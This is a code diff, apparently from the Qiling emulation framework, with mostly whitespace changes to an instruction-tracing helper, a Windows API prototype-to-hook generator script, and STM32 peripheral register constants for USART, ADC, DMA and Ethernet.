assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture'
assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture'
# if available, use symbols map to resolve memory accesses
symsmap = getattr(ql.loader, 'symsmap', {})
# if available, use symbols map to resolve memory accesses
symsmap = getattr(ql.loader, 'symsmap', {})
# show trace lines in a darker color so they would be easily distinguished from
# ordinary log records
faded_color = "\033[2m"
reset_color = "\033[0m"
# show trace lines in a darker color so they would be easily distinguished from
# ordinary log records
faded_color = "\033[2m"
reset_color = "\033[0m"
def __trace_hook(ql: Qiling, address: int, size: int):
"""[internal] Trace hook callback.
"""
def __trace_hook(ql: Qiling, address: int, size: int):
"""[internal] Trace hook callback.
"""
for record in __get_trace_records(ql, address, size, md):
line = __to_trace_line(record, symsmap)
for record in __get_trace_records(ql, address, size, md):
line = __to_trace_line(record, symsmap)
ql.log.debug(f'{faded_color}{line}{reset_color}')
ql.log.debug(f'{faded_color}{line}{reset_color}')
ql.hook_code(__trace_hook)
ql.hook_code(__trace_hook)
def enable_history_trace(ql: Qiling, nrecords: int):
"""Enable instruction-level tracing in history mode.
"""Enable instruction-level tracing in history mode.
To allow faster execution, the trace info collected throughout program execution is not
emitted and undergo as minimal post-processing as possible. When program crahses, the
last `nrecords` trace lines are shown.
To allow faster execution, the trace info collected throughout program execution is not
emitted and undergo as minimal post-processing as possible. When program crahses, the
last `nrecords` trace lines are shown.
Args:
ql: qiling instance
nrecords: number of last records to show
"""
Args:
ql: qiling instance
nrecords: number of last records to show
"""
# enable detailed disassembly info
md = ql.arch.disassembler
md.detail = True
# enable detailed disassembly info
md = ql.arch.disassembler
md.detail = True
assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture'
assert md.arch == CS_ARCH_X86, 'currently available only for intel architecture'
# if available, use symbols map to resolve memory accesses
symsmap = getattr(ql.loader, 'symsmap', {})
# if available, use symbols map to resolve memory accesses
symsmap = getattr(ql.loader, 'symsmap', {})
history: Deque[TraceRecord] = deque(maxlen=nrecords)
history: Deque[TraceRecord] = deque(maxlen=nrecords)
def __trace_hook(ql: Qiling, address: int, size: int):
"""[internal] Trace hook callback.
"""
def __trace_hook(ql: Qiling, address: int, size: int):
"""[internal] Trace hook callback.
"""
history.extend(__get_trace_records(ql, address, size, md))
history.extend(__get_trace_records(ql, address, size, md))
ql.hook_code(__trace_hook)
ql.hook_code(__trace_hook)
# replace the emulation error handler with our own so we can emit the trace
# records when program crashes. before we do that, we save the original one
# so we can call it.
# replace the emulation error handler with our own so we can emit the trace
# records when program crashes. before we do that, we save the original one
# so we can call it.
orig_emu_error = ql.os.emu_error
orig_emu_error = ql.os.emu_error
def __emu_error(*args):
# first run the original emulation error handler
orig_emu_error(*args)
def __emu_error(*args):
# first run the original emulation error handler
orig_emu_error(*args)
# then parse and emit the trace info we collected
ql.log.error(f'History:')
for record in history:
line = __to_trace_line(record, symsmap)
# then parse and emit the trace info we collected
ql.log.error(f'History:')
for record in history:
line = __to_trace_line(record, symsmap)
ql.log.error(line)
ql.log.error(line)
ql.log.error(f'')
ql.log.error(f'')
ql.os.emu_error = __emu_error
ql.os.emu_error = __emu_error
+90 -90
View File
@@ -25,132 +25,132 @@ FuncArgs = Sequence[Tuple[str, str]]
FuncDecl = Tuple[FuncType, FuncName, FuncArgs]
def parse_json(jfile: TextIO) -> Sequence[FuncDecl]:
JObj = Mapping[str, Any]
JObj = Mapping[str, Any]
def __parse_param(arg: JObj) -> Tuple[str, str]:
ptrlvl = 0
def __parse_param(arg: JObj) -> Tuple[str, str]:
ptrlvl = 0
while type(arg['type']) is dict and 'type' in arg['type']:
arg = arg['type']
ptrlvl += 1
while type(arg['type']) is dict and 'type' in arg['type']:
arg = arg['type']
ptrlvl += 1
aname = arg.get('name', '')
atype = arg['type']
aname = arg.get('name', '')
atype = arg['type']
if arg.get('data_type') == 'Ptr':
ptrlvl += 1
if arg.get('data_type') == 'Ptr':
ptrlvl += 1
if type(atype) is dict:
if atype['data_type'] == 'Struct':
atype = atype['name']
if type(atype) is dict:
if atype['data_type'] == 'Struct':
atype = atype['name']
elif atype['data_type'] == 'Enum':
# BUG: windows_sdk_data repo doesn't specify the name of the enum
atype = 'enum?'
elif atype['data_type'] == 'Enum':
# BUG: windows_sdk_data repo doesn't specify the name of the enum
atype = 'enum?'
else:
raise RuntimeError(f'unexpected data_type (atype = {atype})')
else:
raise RuntimeError(f'unexpected data_type (atype = {atype})')
return (aname, atype + '*' * ptrlvl)
return (aname, atype + '*' * ptrlvl)
def __parse_args(args: Sequence[JObj]):
upidx = 1
def __parse_args(args: Sequence[JObj]):
upidx = 1
for a in args:
aname, atype = __parse_param(a)
for a in args:
aname, atype = __parse_param(a)
if not aname:
if atype == 'void':
assert len(args) == 1
continue
if not aname:
if atype == 'void':
assert len(args) == 1
continue
aname = f'unnamedParam{upidx}'
upidx += 1
aname = f'unnamedParam{upidx}'
upidx += 1
yield (aname, atype)
yield (aname, atype)
decls = json.load(jfile)
decls = json.load(jfile)
def __parse_decls(decls: Sequence):
for decl in decls:
# pick up only function declarations
if decl.get('data_type') == 'FuncDecl':
ftype = decl['type']
fname = decl['name']
fargs = decl['arguments']
# loc = 'api_locations'
def __parse_decls(decls: Sequence):
for decl in decls:
# pick up only function declarations
if decl.get('data_type') == 'FuncDecl':
ftype = decl['type']
fname = decl['name']
fargs = decl['arguments']
# loc = 'api_locations'
func_type = __parse_param(ftype)
func_name = fname
func_args = tuple(__parse_args(fargs))
func_type = __parse_param(ftype)
func_name = fname
func_args = tuple(__parse_args(fargs))
assert func_type[0] == fname, 'function name is inconsistent with its return type declaration'
assert func_type[0] == fname, 'function name is inconsistent with its return type declaration'
yield (func_type[1], func_name, func_args)
yield (func_type[1], func_name, func_args)
if type(decls) is not list:
return tuple()
if type(decls) is not list:
return tuple()
return tuple(__parse_decls(decls))
return tuple(__parse_decls(decls))
def dump_py(decls: Sequence[FuncDecl], cc: str) -> Iterable[str]:
print(f'')
print(f'from qiling import Qiling')
print(f'from qiling.os.windows.api import *')
print(f'from qiling.os.windows.fncc import *')
print(f'')
print(f'')
print(f'from qiling import Qiling')
print(f'from qiling.os.windows.api import *')
print(f'from qiling.os.windows.fncc import *')
print(f'')
indent: Final[str] = ' ' * 4
indent: Final[str] = ' ' * 4
def __patch_name(aname: str) -> str:
# merely a placeholder: nothing here yet
return aname
def __patch_name(aname: str) -> str:
# merely a placeholder: nothing here yet
return aname
def __patch_type(atype: str) -> str:
return 'POINTER' if atype.endswith('*') else atype
def __patch_type(atype: str) -> str:
return 'POINTER' if atype.endswith('*') else atype
for ftype, fname, fargs in decls:
if fargs:
names = [__patch_name(a[0]) for a in fargs]
types = [__patch_type(a[1]) for a in fargs]
for ftype, fname, fargs in decls:
if fargs:
names = [__patch_name(a[0]) for a in fargs]
types = [__patch_type(a[1]) for a in fargs]
longest = max(len(n) for n in names)
longest = max(len(n) for n in names)
args = ',\n'.join(f"{indent}'{n}'{' ' * (longest - len(n))} : {t}" for n, t in zip(names, types))
args = f'\n{args}\n'
else:
args = ''
args = ',\n'.join(f"{indent}'{n}'{' ' * (longest - len(n))} : {t}" for n, t in zip(names, types))
args = f'\n{args}\n'
else:
args = ''
decor = f'@winsdkapi(cc={cc}, params={{{args}}})'
proto = f'def hook_{fname}(ql: Qiling, address: int, params):'
body = f'{indent}pass'
decor = f'@winsdkapi(cc={cc}, params={{{args}}})'
proto = f'def hook_{fname}(ql: Qiling, address: int, params):'
body = f'{indent}pass'
# TODO: specify return type (ftype) as a comment, or None for a 'void'
# TODO: specify return type (ftype) as a comment, or None for a 'void'
yield f'{decor}\n{proto}\n{body}\n'
yield f'{decor}\n{proto}\n{body}\n'
def dump_c(decls: Sequence[FuncDecl], cc: str) -> Iterable[str]:
# use a dimmed color for data types
def __dim(s: str) -> str:
return f'\x1b[90m{s}\x1b[39m'
# use a dimmed color for data types
def __dim(s: str) -> str:
return f'\x1b[90m{s}\x1b[39m'
for ftype, fname, fargs in decls:
yield f'{__dim(ftype)} {fname} ({", ".join(f"{__dim(a[1])} {a[0]}" for a in fargs)});'
for ftype, fname, fargs in decls:
yield f'{__dim(ftype)} {fname} ({", ".join(f"{__dim(a[1])} {a[0]}" for a in fargs)});'
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('format', choices=('c', 'py-cdecl', 'py-stdcall'), help='Declarations output format')
parser.add_argument('jfiles', metavar='jsonfile', nargs='+', help='JSON file(s) containing API prototypes')
args = parser.parse_args()
parser = argparse.ArgumentParser()
parser.add_argument('format', choices=('c', 'py-cdecl', 'py-stdcall'), help='Declarations output format')
parser.add_argument('jfiles', metavar='jsonfile', nargs='+', help='JSON file(s) containing API prototypes')
args = parser.parse_args()
fmt, _, cc = args.format.partition('-')
fmt, _, cc = args.format.partition('-')
handler: Callable = {
'c' : dump_c,
'py' : dump_py
}[fmt]
handler: Callable = {
'c' : dump_c,
'py' : dump_py
}[fmt]
for filename in args.jfiles:
with open(filename, 'r') as jfile:
for decl in handler(parse_json(jfile), cc):
print(decl)
for filename in args.jfiles:
with open(filename, 'r') as jfile:
for decl in handler(parse_json(jfile), cc):
print(decl)
+1 -1
View File
@@ -106,7 +106,7 @@ class SAM3xaUotghs(QlConnectivityPeripheral):
self.intn = intn
@QlPeripheral.monitor()
def read(self, offset: int, size: int) -> int:
def read(self, offset: int, size: int) -> int:
buf = ctypes.create_string_buffer(size)
ctypes.memmove(buf, ctypes.addressof(self.instance) + offset, size)
return int.from_bytes(buf.raw, byteorder='little')
+32 -32
View File
@@ -12,40 +12,40 @@ from qiling.hw.const.stm32f4xx_usart import USART_SR, USART_CR1
class STM32F4xxUsart(QlConnectivityPeripheral):
class Type(ctypes.Structure):
""" the structure available in :
stm32f413xx.h
stm32f407xx.h
stm32f469xx.h
stm32f446xx.h
stm32f427xx.h
stm32f401xc.h
stm32f415xx.h
stm32f412cx.h
stm32f410rx.h
stm32f410tx.h
stm32f439xx.h
stm32f412vx.h
stm32f417xx.h
stm32f479xx.h
stm32f429xx.h
stm32f412rx.h
stm32f423xx.h
stm32f437xx.h
stm32f412zx.h
stm32f401xe.h
stm32f410cx.h
stm32f405xx.h
stm32f411xe.h
"""
stm32f413xx.h
stm32f407xx.h
stm32f469xx.h
stm32f446xx.h
stm32f427xx.h
stm32f401xc.h
stm32f415xx.h
stm32f412cx.h
stm32f410rx.h
stm32f410tx.h
stm32f439xx.h
stm32f412vx.h
stm32f417xx.h
stm32f479xx.h
stm32f429xx.h
stm32f412rx.h
stm32f423xx.h
stm32f437xx.h
stm32f412zx.h
stm32f401xe.h
stm32f410cx.h
stm32f405xx.h
stm32f411xe.h
"""
_fields_ = [
('SR' , ctypes.c_uint32), # USART Status register, Address offset: 0x00
('DR' , ctypes.c_uint32), # USART Data register, Address offset: 0x04
('BRR' , ctypes.c_uint32), # USART Baud rate register, Address offset: 0x08
('CR1' , ctypes.c_uint32), # USART Control register 1, Address offset: 0x0C
('CR2' , ctypes.c_uint32), # USART Control register 2, Address offset: 0x10
('CR3' , ctypes.c_uint32), # USART Control register 3, Address offset: 0x14
('GTPR', ctypes.c_uint32), # USART Guard time and prescaler register, Address offset: 0x18
]
('SR' , ctypes.c_uint32), # USART Status register, Address offset: 0x00
('DR' , ctypes.c_uint32), # USART Data register, Address offset: 0x04
('BRR' , ctypes.c_uint32), # USART Baud rate register, Address offset: 0x08
('CR1' , ctypes.c_uint32), # USART Control register 1, Address offset: 0x0C
('CR2' , ctypes.c_uint32), # USART Control register 2, Address offset: 0x10
('CR3' , ctypes.c_uint32), # USART Control register 3, Address offset: 0x14
('GTPR', ctypes.c_uint32), # USART Guard time and prescaler register, Address offset: 0x18
]
def __init__(self, ql, label, intn=None):
+73 -73
View File
@@ -7,94 +7,94 @@ from enum import IntEnum
class ADC_SR(IntEnum):
AWD = 1 << 0
EOS = 1 << 1
JEOS = 1 << 2
JSTRT = 1 << 3
STRT = 1 << 4
AWD = 1 << 0
EOS = 1 << 1
JEOS = 1 << 2
JSTRT = 1 << 3
STRT = 1 << 4
class ADC_CR1(IntEnum):
AWDCH = 0x1f << 0
EOSIE = 1 << 5
AWDIE = 1 << 6
JEOSIE = 1 << 7
SCAN = 1 << 8
AWDSGL = 1 << 9
JAUTO = 1 << 10
DISCEN = 1 << 11
JDISCEN = 1 << 12
DISCNUM = 0x7 << 13
DALMOD = 0xf << 16
JAWDEN = 1 << 22
AWDEN = 1 << 23
AWDCH = 0x1f << 0
EOSIE = 1 << 5
AWDIE = 1 << 6
JEOSIE = 1 << 7
SCAN = 1 << 8
AWDSGL = 1 << 9
JAUTO = 1 << 10
DISCEN = 1 << 11
JDISCEN = 1 << 12
DISCNUM = 0x7 << 13
DALMOD = 0xf << 16
JAWDEN = 1 << 22
AWDEN = 1 << 23
class ADC_CR2(IntEnum):
ADON = 1 << 0
CONT = 1 << 1
CAL = 1 << 2
RSTCAL = 1 << 3
DMA = 1 << 8
ALIGN = 1 << 11
JEXTSEL = 0x7 << 12
JEXTTRIG = 1 << 15
EXTSEL = 0x7 << 17
EXTTRIG = 1 << 20
JSWSTART = 1 << 21
SWSTART = 1 << 22
TSVREFE = 1 << 23
ADON = 1 << 0
CONT = 1 << 1
CAL = 1 << 2
RSTCAL = 1 << 3
DMA = 1 << 8
ALIGN = 1 << 11
JEXTSEL = 0x7 << 12
JEXTTRIG = 1 << 15
EXTSEL = 0x7 << 17
EXTTRIG = 1 << 20
JSWSTART = 1 << 21
SWSTART = 1 << 22
TSVREFE = 1 << 23
class ADC_SMPR1(IntEnum):
SMP10 = 0x7 << 0
SMP11 = 0x7 << 3
SMP12 = 0x7 << 6
SMP13 = 0x7 << 9
SMP14 = 0x7 << 12
SMP15 = 0x7 << 15
SMP16 = 0x7 << 18
SMP17 = 0x7 << 21
SMP10 = 0x7 << 0
SMP11 = 0x7 << 3
SMP12 = 0x7 << 6
SMP13 = 0x7 << 9
SMP14 = 0x7 << 12
SMP15 = 0x7 << 15
SMP16 = 0x7 << 18
SMP17 = 0x7 << 21
class ADC_SMPR2(IntEnum):
SMP0 = 0x7 << 0
SMP1 = 0x7 << 3
SMP2 = 0x7 << 6
SMP3 = 0x7 << 9
SMP4 = 0x7 << 12
SMP5 = 0x7 << 15
SMP6 = 0x7 << 18
SMP7 = 0x7 << 21
SMP8 = 0x7 << 24
SMP9 = 0x7 << 27
SMP0 = 0x7 << 0
SMP1 = 0x7 << 3
SMP2 = 0x7 << 6
SMP3 = 0x7 << 9
SMP4 = 0x7 << 12
SMP5 = 0x7 << 15
SMP6 = 0x7 << 18
SMP7 = 0x7 << 21
SMP8 = 0x7 << 24
SMP9 = 0x7 << 27
class ADC_SQR1(IntEnum):
SQ13 = 0x1f << 0
SQ14 = 0x1f << 5
SQ15 = 0x1f << 10
SQ16 = 0x1f << 15
L = 0xf << 20
SQ13 = 0x1f << 0
SQ14 = 0x1f << 5
SQ15 = 0x1f << 10
SQ16 = 0x1f << 15
L = 0xf << 20
class ADC_SQR2(IntEnum):
SQ7 = 0x1f << 0
SQ8 = 0x1f << 5
SQ9 = 0x1f << 10
SQ10 = 0x1f << 15
SQ11 = 0x1f << 20
SQ12 = 0x1f << 25
SQ7 = 0x1f << 0
SQ8 = 0x1f << 5
SQ9 = 0x1f << 10
SQ10 = 0x1f << 15
SQ11 = 0x1f << 20
SQ12 = 0x1f << 25
class ADC_SQR3(IntEnum):
SQ1 = 0x1f << 0
SQ2 = 0x1f << 5
SQ3 = 0x1f << 10
SQ4 = 0x1f << 15
SQ5 = 0x1f << 20
SQ6 = 0x1f << 25
SQ1 = 0x1f << 0
SQ2 = 0x1f << 5
SQ3 = 0x1f << 10
SQ4 = 0x1f << 15
SQ5 = 0x1f << 20
SQ6 = 0x1f << 25
class ADC_JSQR(IntEnum):
JSQ1 = 0x1f << 0
JSQ2 = 0x1f << 5
JSQ3 = 0x1f << 10
JSQ4 = 0x1f << 15
JL = 0x3 << 20
JSQ1 = 0x1f << 0
JSQ2 = 0x1f << 5
JSQ3 = 0x1f << 10
JSQ4 = 0x1f << 15
JL = 0x3 << 20
class ADC_DR(IntEnum):
DATA = 0xffff << 0
ADC2DATA = 0xffff << 16
DATA = 0xffff << 0
ADC2DATA = 0xffff << 16
+64 -64
View File
@@ -7,64 +7,64 @@ from enum import IntEnum
class DMA_ISR(IntEnum):
GIF1 = 1 << 0
TCIF1 = 1 << 1
HTIF1 = 1 << 2
TEIF1 = 1 << 3
GIF2 = 1 << 4
TCIF2 = 1 << 5
HTIF2 = 1 << 6
TEIF2 = 1 << 7
GIF3 = 1 << 8
TCIF3 = 1 << 9
HTIF3 = 1 << 10
TEIF3 = 1 << 11
GIF4 = 1 << 12
TCIF4 = 1 << 13
HTIF4 = 1 << 14
TEIF4 = 1 << 15
GIF5 = 1 << 16
TCIF5 = 1 << 17
HTIF5 = 1 << 18
TEIF5 = 1 << 19
GIF6 = 1 << 20
TCIF6 = 1 << 21
HTIF6 = 1 << 22
TEIF6 = 1 << 23
GIF7 = 1 << 24
TCIF7 = 1 << 25
HTIF7 = 1 << 26
TEIF7 = 1 << 27
GIF1 = 1 << 0
TCIF1 = 1 << 1
HTIF1 = 1 << 2
TEIF1 = 1 << 3
GIF2 = 1 << 4
TCIF2 = 1 << 5
HTIF2 = 1 << 6
TEIF2 = 1 << 7
GIF3 = 1 << 8
TCIF3 = 1 << 9
HTIF3 = 1 << 10
TEIF3 = 1 << 11
GIF4 = 1 << 12
TCIF4 = 1 << 13
HTIF4 = 1 << 14
TEIF4 = 1 << 15
GIF5 = 1 << 16
TCIF5 = 1 << 17
HTIF5 = 1 << 18
TEIF5 = 1 << 19
GIF6 = 1 << 20
TCIF6 = 1 << 21
HTIF6 = 1 << 22
TEIF6 = 1 << 23
GIF7 = 1 << 24
TCIF7 = 1 << 25
HTIF7 = 1 << 26
TEIF7 = 1 << 27
class DMA_IFCR(IntEnum):
CGIF1 = 1 << 0
CTCIF1 = 1 << 1
CHTIF1 = 1 << 2
CTEIF1 = 1 << 3
CGIF2 = 1 << 4
CTCIF2 = 1 << 5
CHTIF2 = 1 << 6
CTEIF2 = 1 << 7
CGIF3 = 1 << 8
CTCIF3 = 1 << 9
CHTIF3 = 1 << 10
CTEIF3 = 1 << 11
CGIF4 = 1 << 12
CTCIF4 = 1 << 13
CHTIF4 = 1 << 14
CTEIF4 = 1 << 15
CGIF5 = 1 << 16
CTCIF5 = 1 << 17
CHTIF5 = 1 << 18
CTEIF5 = 1 << 19
CGIF6 = 1 << 20
CTCIF6 = 1 << 21
CHTIF6 = 1 << 22
CTEIF6 = 1 << 23
CGIF7 = 1 << 24
CTCIF7 = 1 << 25
CHTIF7 = 1 << 26
CTEIF7 = 1 << 27
CGIF1 = 1 << 0
CTCIF1 = 1 << 1
CHTIF1 = 1 << 2
CTEIF1 = 1 << 3
CGIF2 = 1 << 4
CTCIF2 = 1 << 5
CHTIF2 = 1 << 6
CTEIF2 = 1 << 7
CGIF3 = 1 << 8
CTCIF3 = 1 << 9
CHTIF3 = 1 << 10
CTEIF3 = 1 << 11
CGIF4 = 1 << 12
CTCIF4 = 1 << 13
CHTIF4 = 1 << 14
CTEIF4 = 1 << 15
CGIF5 = 1 << 16
CTCIF5 = 1 << 17
CHTIF5 = 1 << 18
CTEIF5 = 1 << 19
CGIF6 = 1 << 20
CTCIF6 = 1 << 21
CHTIF6 = 1 << 22
CTEIF6 = 1 << 23
CGIF7 = 1 << 24
CTCIF7 = 1 << 25
CHTIF7 = 1 << 26
CTEIF7 = 1 << 27
class DMA_CR(IntEnum):
EN = 1 << 0
@@ -85,13 +85,13 @@ class DMA_CR(IntEnum):
MEM2MEM = 1 << 14
class DMA(IntEnum):
PERIPH_TO_MEMORY = 0
MEMORY_TO_PERIPH = DMA_CR.DIR
PERIPH_TO_MEMORY = 0
MEMORY_TO_PERIPH = DMA_CR.DIR
PDATAALIGN_BYTE = 0
PDATAALIGN_HALFWORD = DMA_CR.PSIZE_0
PDATAALIGN_WORD = DMA_CR.PSIZE_1
PDATAALIGN_BYTE = 0
PDATAALIGN_HALFWORD = DMA_CR.PSIZE_0
PDATAALIGN_WORD = DMA_CR.PSIZE_1
MDATAALIGN_BYTE = 0
MDATAALIGN_HALFWORD = DMA_CR.MSIZE_0
MDATAALIGN_WORD = DMA_CR.MSIZE_1
MDATAALIGN_BYTE = 0
MDATAALIGN_HALFWORD = DMA_CR.MSIZE_0
MDATAALIGN_WORD = DMA_CR.MSIZE_1
+96 -96
View File
@@ -43,117 +43,117 @@ class DMA_SxCR(IntEnum):
EN = 1 << 0
class DMA_SxFCR(IntEnum):
FEIE = 1 << 7
FS = 0x7 << 3
DMDIS = 1 << 2
FTH = 0x3 << 0
FEIE = 1 << 7
FS = 0x7 << 3
DMDIS = 1 << 2
FTH = 0x3 << 0
class DMA_LISR(IntEnum):
TCIF3 = 1 << 27
HTIF3 = 1 << 26
TEIF3 = 1 << 25
DMEIF3 = 1 << 24
FEIF3 = 1 << 22
TCIF2 = 1 << 21
HTIF2 = 1 << 20
TEIF2 = 1 << 19
DMEIF2 = 1 << 18
FEIF2 = 1 << 16
TCIF1 = 1 << 11
HTIF1 = 1 << 10
TEIF1 = 1 << 9
DMEIF1 = 1 << 8
FEIF1 = 1 << 6
TCIF0 = 1 << 5
HTIF0 = 1 << 4
TEIF0 = 1 << 3
DMEIF0 = 1 << 2
FEIF0 = 1 << 0
TCIF3 = 1 << 27
HTIF3 = 1 << 26
TEIF3 = 1 << 25
DMEIF3 = 1 << 24
FEIF3 = 1 << 22
TCIF2 = 1 << 21
HTIF2 = 1 << 20
TEIF2 = 1 << 19
DMEIF2 = 1 << 18
FEIF2 = 1 << 16
TCIF1 = 1 << 11
HTIF1 = 1 << 10
TEIF1 = 1 << 9
DMEIF1 = 1 << 8
FEIF1 = 1 << 6
TCIF0 = 1 << 5
HTIF0 = 1 << 4
TEIF0 = 1 << 3
DMEIF0 = 1 << 2
FEIF0 = 1 << 0
class DMA_HISR(IntEnum):
TCIF7 = 1 << 27
HTIF7 = 1 << 26
TEIF7 = 1 << 25
DMEIF7 = 1 << 24
FEIF7 = 1 << 22
TCIF6 = 1 << 21
HTIF6 = 1 << 20
TEIF6 = 1 << 19
DMEIF6 = 1 << 18
FEIF6 = 1 << 16
TCIF5 = 1 << 11
HTIF5 = 1 << 10
TEIF5 = 1 << 9
DMEIF5 = 1 << 8
FEIF5 = 1 << 6
TCIF4 = 1 << 5
HTIF4 = 1 << 4
TEIF4 = 1 << 3
DMEIF4 = 1 << 2
FEIF4 = 1 << 0
TCIF7 = 1 << 27
HTIF7 = 1 << 26
TEIF7 = 1 << 25
DMEIF7 = 1 << 24
FEIF7 = 1 << 22
TCIF6 = 1 << 21
HTIF6 = 1 << 20
TEIF6 = 1 << 19
DMEIF6 = 1 << 18
FEIF6 = 1 << 16
TCIF5 = 1 << 11
HTIF5 = 1 << 10
TEIF5 = 1 << 9
DMEIF5 = 1 << 8
FEIF5 = 1 << 6
TCIF4 = 1 << 5
HTIF4 = 1 << 4
TEIF4 = 1 << 3
DMEIF4 = 1 << 2
FEIF4 = 1 << 0
class DMA_LIFCR(IntEnum):
CTCIF3 = 1 << 27
CHTIF3 = 1 << 26
CTEIF3 = 1 << 25
CDMEIF3 = 1 << 24
CFEIF3 = 1 << 22
CTCIF2 = 1 << 21
CHTIF2 = 1 << 20
CTEIF2 = 1 << 19
CDMEIF2 = 1 << 18
CFEIF2 = 1 << 16
CTCIF1 = 1 << 11
CHTIF1 = 1 << 10
CTEIF1 = 1 << 9
CDMEIF1 = 1 << 8
CFEIF1 = 1 << 6
CTCIF0 = 1 << 5
CHTIF0 = 1 << 4
CTEIF0 = 1 << 3
CDMEIF0 = 1 << 2
CFEIF0 = 1 << 0
CTCIF3 = 1 << 27
CHTIF3 = 1 << 26
CTEIF3 = 1 << 25
CDMEIF3 = 1 << 24
CFEIF3 = 1 << 22
CTCIF2 = 1 << 21
CHTIF2 = 1 << 20
CTEIF2 = 1 << 19
CDMEIF2 = 1 << 18
CFEIF2 = 1 << 16
CTCIF1 = 1 << 11
CHTIF1 = 1 << 10
CTEIF1 = 1 << 9
CDMEIF1 = 1 << 8
CFEIF1 = 1 << 6
CTCIF0 = 1 << 5
CHTIF0 = 1 << 4
CTEIF0 = 1 << 3
CDMEIF0 = 1 << 2
CFEIF0 = 1 << 0
class DMA_HIFCR(IntEnum):
CTCIF7 = 1 << 27
CHTIF7 = 1 << 26
CTEIF7 = 1 << 25
CDMEIF7 = 1 << 24
CFEIF7 = 1 << 22
CTCIF6 = 1 << 21
CHTIF6 = 1 << 20
CTEIF6 = 1 << 19
CDMEIF6 = 1 << 18
CFEIF6 = 1 << 16
CTCIF5 = 1 << 11
CHTIF5 = 1 << 10
CTEIF5 = 1 << 9
CDMEIF5 = 1 << 8
CFEIF5 = 1 << 6
CTCIF4 = 1 << 5
CHTIF4 = 1 << 4
CTEIF4 = 1 << 3
CDMEIF4 = 1 << 2
CFEIF4 = 1 << 0
CTCIF7 = 1 << 27
CHTIF7 = 1 << 26
CTEIF7 = 1 << 25
CDMEIF7 = 1 << 24
CFEIF7 = 1 << 22
CTCIF6 = 1 << 21
CHTIF6 = 1 << 20
CTEIF6 = 1 << 19
CDMEIF6 = 1 << 18
CFEIF6 = 1 << 16
CTCIF5 = 1 << 11
CHTIF5 = 1 << 10
CTEIF5 = 1 << 9
CDMEIF5 = 1 << 8
CFEIF5 = 1 << 6
CTCIF4 = 1 << 5
CHTIF4 = 1 << 4
CTEIF4 = 1 << 3
CDMEIF4 = 1 << 2
CFEIF4 = 1 << 0
class DMA_SxPAR(IntEnum):
PA = 0xffffffff << 0
PA = 0xffffffff << 0
class DMA_SxM0AR(IntEnum):
M0A = 0xffffffff << 0
M0A = 0xffffffff << 0
class DMA_SxM1AR(IntEnum):
M1A = 0xffffffff << 0
M1A = 0xffffffff << 0
class DMA(IntEnum):
PERIPH_TO_MEMORY = 0
MEMORY_TO_PERIPH = DMA_SxCR.DIR_0
MEMORY_TO_MEMORY = DMA_SxCR.DIR_1
PERIPH_TO_MEMORY = 0
MEMORY_TO_PERIPH = DMA_SxCR.DIR_0
MEMORY_TO_MEMORY = DMA_SxCR.DIR_1
PDATAALIGN_BYTE = 0
PDATAALIGN_HALFWORD = DMA_SxCR.PSIZE_0
PDATAALIGN_WORD = DMA_SxCR.PSIZE_1
PDATAALIGN_BYTE = 0
PDATAALIGN_HALFWORD = DMA_SxCR.PSIZE_0
PDATAALIGN_WORD = DMA_SxCR.PSIZE_1
MDATAALIGN_BYTE = 0
MDATAALIGN_HALFWORD = DMA_SxCR.MSIZE_0
MDATAALIGN_WORD = DMA_SxCR.MSIZE_1
MDATAALIGN_BYTE = 0
MDATAALIGN_HALFWORD = DMA_SxCR.MSIZE_0
MDATAALIGN_WORD = DMA_SxCR.MSIZE_1
+216 -216
View File
@@ -2,271 +2,271 @@ from enum import IntEnum
class ETH_MACCR(IntEnum):
WD = 1 << 23
JD = 1 << 22
IFG = 0x7 << 17
CSD = 1 << 16
FES = 1 << 14
ROD = 1 << 13
LM = 1 << 12
DM = 1 << 11
IPCO = 1 << 10
RD = 1 << 9
APCS = 1 << 7
BL = 0x3 << 5
DC = 1 << 4
TE = 1 << 3
RE = 1 << 2
WD = 1 << 23
JD = 1 << 22
IFG = 0x7 << 17
CSD = 1 << 16
FES = 1 << 14
ROD = 1 << 13
LM = 1 << 12
DM = 1 << 11
IPCO = 1 << 10
RD = 1 << 9
APCS = 1 << 7
BL = 0x3 << 5
DC = 1 << 4
TE = 1 << 3
RE = 1 << 2
class ETH_MACFFR(IntEnum):
RA = 1 << 31
HPF = 1 << 10
SAF = 1 << 9
SAIF = 1 << 8
PCF = 0x3 << 6
PCF_BlockAll = 1 << 6
PCF_ForwardAll = 1 << 7
PCF_ForwardPassedAddrFilter = 0x3 << 6
BFD = 1 << 5
PAM = 1 << 4
DAIF = 1 << 3
HM = 1 << 2
HU = 1 << 1
PM = 1 << 0
RA = 1 << 31
HPF = 1 << 10
SAF = 1 << 9
SAIF = 1 << 8
PCF = 0x3 << 6
PCF_BlockAll = 1 << 6
PCF_ForwardAll = 1 << 7
PCF_ForwardPassedAddrFilter = 0x3 << 6
BFD = 1 << 5
PAM = 1 << 4
DAIF = 1 << 3
HM = 1 << 2
HU = 1 << 1
PM = 1 << 0
class ETH_MACMIIAR(IntEnum):
PA = 0x1f << 11
MR = 0x1f << 6
CR = 0x7 << 2
CR_Div62 = 1 << 2
CR_Div16 = 1 << 3
CR_Div26 = 0x3 << 2
CR_Div102 = 1 << 4
MW = 1 << 1
MB = 1 << 0
PA = 0x1f << 11
MR = 0x1f << 6
CR = 0x7 << 2
CR_Div62 = 1 << 2
CR_Div16 = 1 << 3
CR_Div26 = 0x3 << 2
CR_Div102 = 1 << 4
MW = 1 << 1
MB = 1 << 0
class ETH_MACFCR(IntEnum):
PT = 0xffff << 16
ZQPD = 1 << 7
PLT = 0x3 << 4
PLT_Minus28 = 1 << 4
PLT_Minus144 = 1 << 5
PLT_Minus256 = 0x3 << 4
UPFD = 1 << 3
RFCE = 1 << 2
TFCE = 1 << 1
FCBBPA = 1 << 0
PT = 0xffff << 16
ZQPD = 1 << 7
PLT = 0x3 << 4
PLT_Minus28 = 1 << 4
PLT_Minus144 = 1 << 5
PLT_Minus256 = 0x3 << 4
UPFD = 1 << 3
RFCE = 1 << 2
TFCE = 1 << 1
FCBBPA = 1 << 0
class ETH_MACVLANTR(IntEnum):
VLANTC = 1 << 16
VLANTI = 0xffff << 0
VLANTC = 1 << 16
VLANTI = 0xffff << 0
class ETH_MACPMTCSR(IntEnum):
WFFRPR = 1 << 31
GU = 1 << 9
WFR = 1 << 6
